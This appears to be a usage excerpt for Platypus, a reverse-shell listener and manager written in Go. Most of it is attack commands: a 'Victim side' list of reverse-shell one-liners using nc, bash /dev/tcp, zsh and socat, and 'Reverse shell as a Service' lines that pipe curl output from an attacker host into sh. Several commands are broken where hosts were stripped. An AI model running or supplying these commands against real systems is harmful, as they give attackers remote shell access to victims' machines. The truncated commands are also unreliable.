cd go/src/
go run platypus.go

Run Platypus from release binaries

// Download binary from
chmod +x ./Platypus_linux_amd64

Victim side

nc -e /bin/bash 8080
bash -c ‘bash -i >/dev/tcp/ 0>&1’
zsh -c ‘zmodload zsh/net/tcp && ztcp 8080 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY’
socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:

Reverse shell as a Service

// Platypus is able to multiplexing the reverse shell listening port
// The port 8080 can receive reverse shell client connection
// Also these is a Reverse shell as a service running on this port

// victim will be redirected to attacker-host attacker-port
// sh -c “$(curl http://host:port/attacker-host/attacker-port)”
bash -c ‘bash -i >/dev/tcp/ 0>&1’
sh -c “$(curl”

// if the attacker info not specified, it will use host, port as attacker-host attacker-port
// sh -c “$(curl http://host:port/)”
sh -c “$(curl http://host:port/)”
